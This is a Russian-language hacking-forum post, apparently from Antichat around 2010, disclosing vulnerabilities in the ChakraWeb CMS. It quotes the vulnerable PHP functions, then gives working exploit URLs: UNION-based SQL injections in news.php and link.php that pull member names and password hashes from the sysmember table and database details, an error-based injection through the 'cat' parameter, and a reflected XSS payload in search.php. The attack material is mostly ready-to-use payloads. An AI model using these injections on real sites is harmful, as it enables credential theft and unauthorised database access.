|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Продукт ChakraWeb!
Скачал отсюдо
ChakraWeb is open source CMS (Content Management System) that suitable to create small professional websites and optimize affiliate revenue.
SQL inj
mg не имеет значения!
/phpmod/news.php
Для рядового польз.:
PHP код:
...case 'detail':
NewsShowDetail();
break;...
PHP код:
...function NewsShowDetail()
{
$news_id = RequestGetValue('id', 0);
$sql = "select news_title, news_desc, news_content from news where news_id=$news_id";
$rs = DbExecute($sql);
if ($rs && !$rs->EOF)...
/_files/library/fun_utils.php
PHP код:
...
function RequestGetValue($var_name, $default=false, $clean=CLEAN_NO)
{
global $PhpMagicQuote;
if (isset($_REQUEST[$var_name]))
{
$out = $_REQUEST[$var_name];
if (is_string($out))
{
if ($PhpMagicQuote)
$out = stripslashes($out);
$out = trim($out);
}
if ($clean == CLEAN_SAVE)
$out = HtmlClean($out);
else if ($clean == CLEAN_ALL)
$out = HtmlCleanAll($out);
}
else
$out = $default;
return $out;
}...
Result:
http://chakra/phpmod/news.php?op=detail&id=1 [SQL]&cat=3
http://chakra/phpmod/news.php?op=detail&id=-1+union+select+concat_ws%280x3a,m_name,m_password% 29,2,3+from+sysmember+limit+1,1--+&cat=3
/files/library/fun_web.php function InitSystemVars()
PHP код:
...
$gFolderId = RequestGetValue('cat', 0);
if ($gFolderId == 0)...
function NewsShowPage
PHP код:
... $gPageId = 0;
DBGetFolderData($gFolderId);
$gWebPage['page_sidebar'] = RenderPageSidebar()...
/_files/library/fun_web.php
PHP код:
...function DBGetFolderData($folder_id)
{
global $gCurrentUrlPath;
global $gFolder;
global $db;
global $gReadLevel, $gWriteLevel;
if ($folder_id >= 0)
{
$sql = "select folder_lid, folder_id, folder_name, folder_label, folder_title, folder_desc, folder_keywords,
folder_robots, folder_sidebar, folder_parent, folder_show, folder_active, folder_order,
read_level, write_level, upload_by, upload_on, update_on
from web_folder where folder_id=$folder_id and folder_lid=".$db->qstr(UserGetLID());
$rs = DbExecute($sql);
if ($rs === false) DbFatalError("DBGetFolderData");
if (!$rs->EOF)
{...
/_files/library/fun_dbutils.php
PHP код:
...function DbFatalError($section, $msg='')
{
global $db;
if (!empty($msg))
$msg .= '. ';
$msg .= $db->ErrorMsg();
DbLogWrite($section, '.MSG:', $msg);
SystemFatalError($section, $msg);
}...
/_files/library/cls_dbase.php
PHP код:
...
function ErrorMsg()
{
return 'DBError('.@mysql_errno().'): '.@mysql_error();
}...
/_files/library/fun_systems.php
PHP код:
...function SystemFatalError($section, $msg)
{
SetDynamicContent();
$out = '<html><head><title>Fatal System Error</title>';
$out .= '</head><body>';
$out .= '<hr noshade size=2>';
$out .= 'Fatal System Error On <b>'.$section.':</b><br> '.$msg;
$out .= '<hr noshade size=2>';
$out .= 'Sorry for this unconvenience. Please report to the webmaster of this homepage.';
$out .= '</body></html>';
echo $out;
die();
}...
Result:
http://chakra/phpmod/news.php?op=detail&id=1&cat=3 [SQL]
http://chakra/phpmod/news.php?op=detail&id=1&cat=3+and+%281,2%29=%28sel ect+*+from%28select+name_const%28version%28%29,1%2 9,name_const%28version%28%29,1%29%29a%29--
XSS
/phpmod/search.php
PHP код:
...
$q = RequestGetValue('q', '');
$p = RequestGetValue('p', 1);
$title = "<h1>"._HPAGE_SEARCH_TITLE."</h1>\n";
$content = "<p>".sprintf(_HPAGE_SEARCH_MESSAGE, $q)."</p>\n";...
Result:
http://chakra/phpmod/search.php?q= [XSS]
http://chakra/phpmod/search.php?q=%3Cscript%3Ealert%28123%29%3C%2Fscrip t%3E
SQL inj
/phpmod/link.php
$op приним. (ряд. пользователь)
PHP код:
...case 'show':
LinkInitVars();
LinkFormShow('add', false);
break;...
Функция RequestGetValue описана выше!
PHP код:
function LinkInitVars()
{
global $gWebPage;
global $gPageId;
global $gFolder, $gFolderId;
$gWebPage['from'] = '';
$gWebPage['fld_id'] = 0;
$gWebPage['fld_url'] = '';
$gWebPage['fld_title'] = '';
$gWebPage['fld_desc'] = '';
$gWebPage['fld_note'] = '';
$gPageId = RequestGetValue('id', 0);
}
PHP код:
...function LinkFormShow($op, $dbinit, $errmsg='')
{
global $gFolder, $gFolderId;
global $gRequestPath, $gCurrentUrlPath, $gRequestFile;
global $gWebPage;
global $gHomePageHeader, $gHomePageFooter;
global $gBaseLocalPath;
global $gHomePageUrl, $gPageNavigation;
$from = RequestGetValue('from');
if (!empty($from))
{
$gCurrentPageNavigation = '';
$gPageNavigation = array();
$gPageNavigation[] = array($gHomePageUrl.$gBaseUrlPath."/index.html", _NAV_FRONTPAGE);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/cpanel.php", _NAV_CONTROL_PANEL);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/todo.php", _NAV_TODO_LIST);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/todo.php?op=link", _NAV_TODO_LINK);
$gWebPage['from'] = $from;
}
else
{
DBGetFolderData($gFolderId);
$gRequestPath = FindPathFromFolderId($gFolderId);
$gCurrentUrlPath = $gBaseUrlPath.$gRequestPath;
$gRequestFile = 'index.html';
$gWebPage['from'] = '';
}
...
Принтабельное поле, где именно код впадло искать !
Result:
http://chakra/phpmod/link.php?op=show&cat=4 [SQL]
http://chakra/phpmod/link.php?op=show&cat=4+and+0+union+select+1,2,3,4, 5,6,7,8,concat_ws%280x3a,database%28%29,user%28%29 ,version%28%29%29,10,11,12,13,14,15,16,17,18--+
Последний раз редактировалось Strilo4ka; 26.03.2010 в 02:56..
|